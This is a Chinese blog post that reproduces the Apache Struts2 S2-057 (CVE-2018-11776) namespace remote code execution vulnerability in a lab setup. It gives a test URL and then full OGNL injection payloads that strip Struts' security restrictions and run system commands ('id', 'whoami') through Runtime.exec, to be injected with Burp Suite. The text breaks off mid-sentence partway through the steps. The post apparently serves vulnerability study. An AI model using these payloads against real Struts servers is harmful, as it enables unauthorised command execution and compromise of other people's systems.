Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

2022-09-14 10:24:16 浏览数 (1)

大家好,又见面了,我是你们的朋友全栈君。

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。

启动环境后,在Win10上访问http://IP:port/struts2-showcase

1.构建Payload:

访问:

代码语言:javascript复制
http://your-ip:8080/struts2-showcase/${233*233}/actionChain1.action

可以看到233 * 233的结果已在Location标头中返回。

将以下payload进行URL编码:

${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

URL编码后

${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

并在burpsuit的GET /struts2-showcase/{233*233}/actionChain1.action HTTP/1.1中将URL编码的插入到/{233*233}/ ,将

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/158495.html原文链接:https://javaforall.cn

0 人点赞